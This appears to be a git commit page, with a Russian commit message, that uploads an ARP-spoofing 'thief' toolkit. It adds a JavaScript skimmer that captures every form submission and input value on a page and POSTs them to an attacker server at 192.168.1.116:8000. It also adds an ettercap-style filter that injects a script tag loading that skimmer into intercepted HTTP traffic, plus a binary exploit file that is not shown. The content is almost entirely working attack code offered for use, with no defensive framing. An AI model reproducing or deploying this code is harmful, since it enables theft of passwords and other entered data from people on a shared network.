Загрузить файлы в «arpspoofing/thief»
This commit is contained in:
BIN
arpspoofing/thief/exploit.ef
Normal file
BIN
arpspoofing/thief/exploit.ef
Normal file
Binary file not shown.
32
arpspoofing/thief/js_thief.js
Normal file
32
arpspoofing/thief/js_thief.js
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
document.addEventListener('DOMContentLoaded', function() {
|
||||||
|
// Перехватываем все формы на странице
|
||||||
|
const forms = document.getElementsByTagName('form');
|
||||||
|
for (let form of forms) {
|
||||||
|
form.addEventListener('submit', function(e) {
|
||||||
|
e.preventDefault(); // Блокируем стандартную отправку
|
||||||
|
const data = new FormData(form);
|
||||||
|
let stolenData = {};
|
||||||
|
for (let [key, value] of data.entries()) {
|
||||||
|
stolenData[key] = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Отправляем данные на ваш сервер
|
||||||
|
fetch('http://192.168.1.116:8000/log', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify(stolenData),
|
||||||
|
headers: { 'Content-Type': 'application/json' }
|
||||||
|
}).then(() => form.submit()); // Отправляем форму после кражи
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Перехватываем ввод в реальном времени (если формы нет)
|
||||||
|
const inputs = document.getElementsByTagName('input');
|
||||||
|
for (let input of inputs) {
|
||||||
|
input.addEventListener('change', function() {
|
||||||
|
fetch('http://192.168.1.116:8000/log', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ [input.name]: input.value })
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
3
arpspoofing/thief/xss_exploit.js
Normal file
3
arpspoofing/thief/xss_exploit.js
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
if (ip.proto == TCP && tcp.src == 80) {
|
||||||
|
replace(/<\/head>/i, '<script src="http://192.168.1.116:8000/js_thief.js"></script></head>');
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user